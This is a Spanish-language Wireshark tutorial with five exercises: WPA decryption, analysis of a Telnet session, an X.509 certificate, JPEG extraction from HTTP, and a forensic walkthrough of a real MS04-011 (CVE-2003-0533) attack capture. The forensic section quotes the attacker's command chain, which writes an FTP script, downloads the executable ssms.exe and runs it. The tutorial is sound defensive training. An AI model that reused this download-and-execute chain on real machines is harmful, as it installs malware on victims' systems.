GhostAcademy logo GhostAcademy
🦈 Wireshark · pcap · Análisis de tráfico de red
Ejercicios Wireshark
// WPA · Telnet · X.509 · HTTP · Análisis de Ataque · 55 capturas

Cinco ejercicios prácticos de análisis de tráfico de red con Wireshark: descifrado WPA, sesión Telnet, certificados X.509, extracción de imágenes HTTP y análisis forense de un ataque real con CVE.

WiFi WPA · 802.11 · EAPOL handshake Telnet · TCP Stream · credenciales X.509 · TLS · VeriSign · RSA HTTP · JPEG · Export Objects Attack trace · SMB · CVE-2003-0533
Ejercicio 1
WiFi / WPA 802.11
Ejercicio 2
Telnet
Ejercicio 3
X.509 Certificados
Ejercicio 4
HTTP · JPEG
Ejercicio 5
Análisis de Ataque
EJ. 01
WiFi / Wireless LAN — 802.11 · WPA
Captura 802.11 con tráfico WPA cifrado. Objetivos: descifrar el tráfico usando la contraseña proporcionada, identificar las MACs del AP y del cliente, y examinar el tráfico descifrado.
Archivo: wpa-Induction.pcap  ·  Contraseña: Induction  ·  SSID: Coherer
⬇ wpa-Induction.pcap
TAREA 1 Abrir el pcap y localizar el handshake EAPOL

Hacemos doble clic en el archivo wpa-Induction.pcap. Se abre directamente en Wireshark. Nos desplazamos hacia abajo para encontrar los cuatro marcos con protocolo EAPOL — estos son los paquetes del 4-way handshake que negocia la clave privada entre el cliente Apple y el AP Cisco.

wpa-Induction.pcap abierto en Wireshark

// wpa-Induction.pcap abierto en Wireshark

Cuatro marcos EAPOL del 4-way handshake

// Cuatro marcos EAPOL del 4-way handshake

Un dispositivo Apple se une a una red inalámbrica de Cisco. Los cuatro paquetes EAPOL negocian la clave privada para ese usuario. Podemos añadir un filtro para visualizarlos agrupados:

Display filter — aislar EAPOL
eapol
Filtro eapol aplicado — 4 paquetes del handshake

// Filtro eapol aplicado — 4 paquetes del handshake

Sin filtro, en el marco 99, Wireshark solo puede indicar que el paquete contiene "Data" — el contenido está cifrado y no es legible todavía:

Marco 99 — datos cifrados, sin descifrar

// Marco 99 — datos cifrados, sin descifrar

Detalle del marco 99 cifrado

// Detalle del marco 99 cifrado

TAREA 2 Configurar Wireshark para descifrar el tráfico WPA

Vamos a Edición → Preferencias → Protocolos y buscamos IEEE 802.11:

Edición → Preferencias → Protocolos

// Edición → Preferencias → Protocolos

Protocolo IEEE 802.11 en Preferencias

// Protocolo IEEE 802.11 en Preferencias

En la opción "Decryption keys", hacemos clic en Editar e introducimos una clave de tipo wpa-pwd:

Opción Decryption keys → Editar

// Opción Decryption keys → Editar

Añadir clave wpa-pwd con formato Contraseña:SSID

// Añadir clave wpa-pwd con formato Contraseña:SSID

Configuración de la clave WPA
Tipo de clavewpa-pwd
ValorInduction:Coherer
Formatocontraseña:SSID

En la casilla "WEP y WPA Decryption Keys" hacemos clic en Aceptar. Luego marcamos la casilla "Habilitar descifrado" y pulsamos Aplicar y Aceptar:

Habilitar descifrado marcado

// Habilitar descifrado marcado

El marco 99 ahora está descifrado, revelando que contiene un paquete DHCP:

Marco 99 descifrado — paquete DHCP visible

// Marco 99 descifrado — paquete DHCP visible

TAREA 3 Identificar MACs del AP y del cliente

Dirección MAC del Punto de Acceso (AP)

Seleccionamos el primer paquete del handshake (EAPOL-Key frame 1/4). En el panel de detalles expandimos "IEEE 802.11 Wireless LAN" y buscamos el campo BSSID:

BSSID del AP en el primer frame EAPOL

// BSSID del AP en el primer frame EAPOL

Dirección MAC del Cliente

Seleccionamos el segundo paquete del handshake (EAPOL-Key frame 2/4). En la sección IEEE 802.11 buscamos el campo "Transmitter address":

Transmitter address del cliente en el segundo frame EAPOL

// Transmitter address del cliente en el segundo frame EAPOL

Tipo de tráfico tras el descifrado

Con el tráfico descifrado podemos examinar los protocolos. Ejemplos de paquetes descifrados:

Paquete HTTP descifrado — URL y datos visibles

// Paquete HTTP descifrado — URL y datos visibles

Paquete DNS descifrado — consulta y respuesta

// Paquete DNS descifrado — consulta y respuesta

EJ. 02
Análisis de comunicación Telnet
Sesión Telnet en texto claro. Objetivos: filtrar paquetes Telnet, analizar la secuencia de comandos y respuestas, identificar el SO del servidor, y describir los comandos ejecutados.
Archivo: telnet-raw.pcap
⬇ telnet-raw.pcap
PASO 1 Abrir el archivo en Wireshark

Archivo → Abrir → seleccionar telnet-raw.pcap:

telnet-raw.pcap abierto en Wireshark

// telnet-raw.pcap abierto en Wireshark

PASO 2 Filtrar solo paquetes Telnet
Display filter
telnet
Filtro telnet aplicado — solo paquetes Telnet

// Filtro telnet aplicado — solo paquetes Telnet

PASO 3 Analizar la secuencia de comandos

Seleccionando cualquier paquete Telnet y examinando el panel de detalles, la sección "Telnet Data" muestra los datos enviados en texto legible.

Paquete Telnet seleccionado — detalle en panel inferior

// Paquete Telnet seleccionado — detalle en panel inferior

Sección Telnet Data — comandos en texto claro

// Sección Telnet Data — comandos en texto claro

Secuencia de comandos a lo largo de la sesión

// Secuencia de comandos a lo largo de la sesión

En la línea 28 se aprecia Data: Login: — el servidor solicita credenciales:

Línea 28 — Data: Login: (solicitud de credenciales)

// Línea 28 — Data: Login: (solicitud de credenciales)

Hacemos clic derecho sobre el paquete → Seguir → TCP Stream. Obtenemos el flujo completo de la sesión:

TCP Stream completo — login: fake, password: user

// TCP Stream completo — login: fake, password: user

Credenciales capturadas
Loginfake
Passworduser
TCP Stream — comandos ejecutados y ping a Yahoo

// TCP Stream — comandos ejecutados y ping a Yahoo

PASO 4 Identificar el sistema operativo del servidor

Al inicio de la sesión, el servidor envía un mensaje de bienvenida que revela el SO:

Mensaje de bienvenida del servidor — OpenBSD/i386

// Mensaje de bienvenida del servidor — OpenBSD/i386

Sistema operativo del servidor Telnet
SO identificadoOpenBSD/i386
PASO 5 Comandos ejecutados durante la sesión
ls Lista archivos y directorios en el directorio actual
ls -a Lista todos los archivos incluyendo ocultos (prefijo .)
ping http://www.yahoo.com Envía paquetes ICMP a Yahoo para comprobar conectividad
Ctrl+C → exit Interrumpe el proceso del ping y cierra la sesión
EJ. 03
X.509 — Certificados Digitales
Análisis de un certificado X.509 en una captura TLS/SSL. Objetivos: localizar el paquete del certificado, determinar si va cifrado, e identificar la autoridad emisora.
Archivo: x509-with-logo.cap
⬇ x509-with-logo.cap
PASO 1–2 Abrir el pcap y localizar el paquete 18
x509-with-logo.cap abierto en Wireshark

// x509-with-logo.cap abierto en Wireshark

En la columna "No." buscamos el paquete número 18 y hacemos clic para seleccionarlo:

Paquete 18 seleccionado — contiene el certificado X.509

// Paquete 18 seleccionado — contiene el certificado X.509

PASO 3 Inspeccionar el certificado

Clic derecho en el paquete 18 → Seguir → TCP Stream. Encontramos la URL de VeriSign y datos del certificado:

TCP Stream del paquete 18 — URL VeriSign visible

// TCP Stream del paquete 18 — URL VeriSign visible

Dentro del certificado podemos ver los campos Subject e Issuer:

Campo Subject del certificado X.509

// Campo Subject del certificado X.509

Campo Signature Algorithm del certificado

// Campo Signature Algorithm del certificado

Respuestas — Ejercicio X.509
¿En qué paquete envía el servidor el certificado?Paquete 2
¿Va en claro o cifrado?Cifrado
Autoridad emisora (CA)RSA Data Security
Organización visible en TCP StreamVeriSign
ℹ️ VeriSign / RSA Data Security — Autoridad de Certificación (CA) conocida por emitir certificados SSL/TLS utilizando los protocolos SSL y TLS para comunicaciones seguras en Internet.
EJ. 04
HTTP — Reensamblar y Extraer Imagen JPEG
Ejemplo de cómo reensamblar una secuencia HTTP y extraer una imagen JPEG desde el interior de un HTTP PDU.
Archivo: http_with_jpegs.cap.gz
⬇ http_with_jpegs.cap.gz
PASO 1 Habilitar preferencias de reensamblado TCP/HTTP
http_with_jpegs.cap.gz abierto en Wireshark

// http_with_jpegs.cap.gz abierto en Wireshark

Para poder reensamblar PDUs que abarcan múltiples segmentos TCP, hay que habilitar tres preferencias. La primera es el interruptor maestro en la capa TCP:

TCP → Allow subdissector to reassemble TCP streams (interruptor maestro)

// TCP → Allow subdissector to reassemble TCP streams (interruptor maestro)

Las dos opciones específicas de HTTP:

HTTP → Reassemble HTTP bodies (opción 1)

// HTTP → Reassemble HTTP bodies (opción 1)

HTTP → Reassemble HTTP bodies spanning segments (opción 2)

// HTTP → Reassemble HTTP bodies spanning segments (opción 2)

⚠️ La opción TCP no es suficiente por sí sola — es el interruptor maestro pero también deben estar activas las opciones específicas de HTTP para que el reensamblado funcione correctamente.
PASO 2 Exportar la imagen JPEG — paquete 479

Seleccionamos el paquete 479 y hacemos clic en el protocolo JPEG para visualizarlo:

Paquete 479 seleccionado — protocolo JPEG visible

// Paquete 479 seleccionado — protocolo JPEG visible

Clic derecho en el protocolo JPEG → "Exportar bytes de paquete" → guardar con extensión .jpeg. Resultado:

Imagen JPEG exportada y visualizada desde el pcap

// Imagen JPEG exportada y visualizada desde el pcap

EJ. 05
Análisis Forense de un Ataque Real
Análisis completo de una captura de ataque real. Identificar atacante/víctima, obtener información del host, contar sesiones TCP, determinar duración, sistema operativo objetivo, y reconstruir el ataque paso a paso.
Archivo: attack-trace.pcap_.gz
⬇ attack-trace.pcap
PREGUNTA 1 ¿Qué dispositivos (IPs) tenemos? ¿Quién ataca y quién es atacado?

En Estadísticas → IPv4 Statistics → All Addresses vemos las dos IPs de la captura. Luego en Estadísticas → Gráfica de flujo observamos el establecimiento TCP y los paquetes SYN/SYN-ACK:

IPv4 Statistics → All Addresses — dos IPs en la captura

// IPv4 Statistics → All Addresses — dos IPs en la captura

Gráfica de flujo TCP — SYN determina quién inicia

// Gráfica de flujo TCP — SYN determina quién inicia

IPs identificadas
Atacante98.114.205.102
Víctima (atacada)192.150.11.111
PREGUNTA 2 ¿Qué sabemos del host atacante?

Con whois sobre la IP atacante obtenemos organización, dirección postal y contactos. Con el filtro SMB de Wireshark obtenemos el sistema operativo:

Filtro — SO del atacante por SMB
smb.native_os && ip.src == 98.114.205.102
whois 98.114.205.102 — organización: MCI/Verizon Business

// whois 98.114.205.102 — organización: MCI/Verizon Business

whois — dirección: Ashburn, VA, EE.UU.

// whois — dirección: Ashburn, VA, EE.UU.

Filtro smb.native_os — Windows 2000 identificado

// Filtro smb.native_os — Windows 2000 identificado

check-host.net — geolocalización de la IP atacante

// check-host.net — geolocalización de la IP atacante

Mapa de geolocalización del host atacante

// Mapa de geolocalización del host atacante

Información del host atacante — 98.114.205.102
OrganizaciónMCI / Verizon Business
DirecciónAshburn, VA 20147, EE.UU.
Sistema operativoWindows 2000
PREGUNTA 3 ¿Cuántas sesiones TCP hay en la captura?

Estadísticas → Conversaciones → pestaña TCP:

Conversaciones TCP — 5 sesiones identificadas

// Conversaciones TCP — 5 sesiones identificadas

Sesiones TCP
Total de sesiones TCP5
PREGUNTA 4 ¿Cuánto tarda en realizarse el ataque?

Estadísticas → Propiedades de archivo de captura:

Propiedades del archivo — duración total: 16 segundos

// Propiedades del archivo — duración total: 16 segundos

Última marca temporal en columna Time: 16.214214s

// Última marca temporal en columna Time: 16.214214s

Duración del ataque
Tiempo total~16 segundos
Última marca temporal16.214214 s
PREGUNTA 5 ¿Qué sistema operativo fue el objetivo?
Filtro — SO de la víctima por SMB
smb.native_os && ip.src == 192.150.11.111
Filtro smb.native_os en víctima — Windows 5.1 = Windows XP

// Filtro smb.native_os en víctima — Windows 5.1 = Windows XP

Sistema operativo víctima
Versión identificadaWindows 5.1
Nombre comercialWindows XP
PREGUNTA 6 Acciones del atacante — análisis por flujo TCP

En Estadísticas → IPv4 Statistics → Destinations and Ports vemos los puertos involucrados. En Estadísticas → Jerarquía de Protocolo vemos todos los protocolos:

Puertos destino en la máquina atacada

// Puertos destino en la máquina atacada

Jerarquía de protocolo — SMB, DCERPC, SOCKS

// Jerarquía de protocolo — SMB, DCERPC, SOCKS

StreamDescripción de la actividad
tcp.stream == 0 Intento de conexión al puerto 445 (SMB en Windows desde 2000).
tcp.stream == 1 Conexión establecida con SMB "Session Setup". La víctima responde STATUS_MORE_PROCESSING_REQUIRED (pide credenciales). Se usa DCERPC + DSSETUP para consultar Active Directory. Paquetes 33 y 38: DsRoleUpgradeDownlevelServer → explotación de vulnerabilidad.
tcp.stream == 2 Paquetes con flag PSH activa. Paquete 42 contiene el comando:
echo open 0.0.0.0 8884 > o &echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe
→ Prepara subida del fichero ssms.exe por FTP.
tcp.stream == 3 Ejecución correcta del comando FTP anterior. Paquete 68: se pasa password 1. Conexión satisfactoria, se prepara la subida del fichero.
tcp.stream == 4 Confirmación de la subida del ejecutable. Primer paquete Socks indica "Windows Program" → ssms.exe subido con éxito.
tcp.stream == 0 — intento conexión puerto 445

// tcp.stream == 0 — intento conexión puerto 445

tcp.stream == 1 — SMB Session Setup + DCERPC/DSSETUP

// tcp.stream == 1 — SMB Session Setup + DCERPC/DSSETUP

DsRoleUpgradeDownlevelServer — clave para identificar el exploit

// DsRoleUpgradeDownlevelServer — clave para identificar el exploit

Detalle del exploit en los paquetes 33 y 38

// Detalle del exploit en los paquetes 33 y 38

tcp.stream == 2 — comando con flag PSH, subida de ssms.exe por FTP

// tcp.stream == 2 — comando con flag PSH, subida de ssms.exe por FTP

tcp.stream == 3 — ejecución FTP con credenciales user:1 pass:1

// tcp.stream == 3 — ejecución FTP con credenciales user:1 pass:1

tcp.stream == 4 — confirmación subida del ejecutable malicioso

// tcp.stream == 4 — confirmación subida del ejecutable malicioso

PREGUNTA 7 ¿Qué vulnerabilidad fue atacada? ¿Manual o automatizado?
🔴
Vulnerabilidad identificada
CVE-2003-0533 · MS04-011
Identificada a través del string DsRoleUpgradeDownlevelServer en los paquetes 33 y 38 del stream 1. Catalogada por Microsoft como MS04-011. Múltiples exploits disponibles en exploit-db, incluyendo módulos para Metasploit.
¿Ataque manual o automatizado?
VeredictoAutomatizado
JustificaciónTodo el proceso completo se realiza en ~16 segundos. La subida del fichero (stream 4) ocurre entre el segundo 6.14 y el 16.21 — imposible manualmente.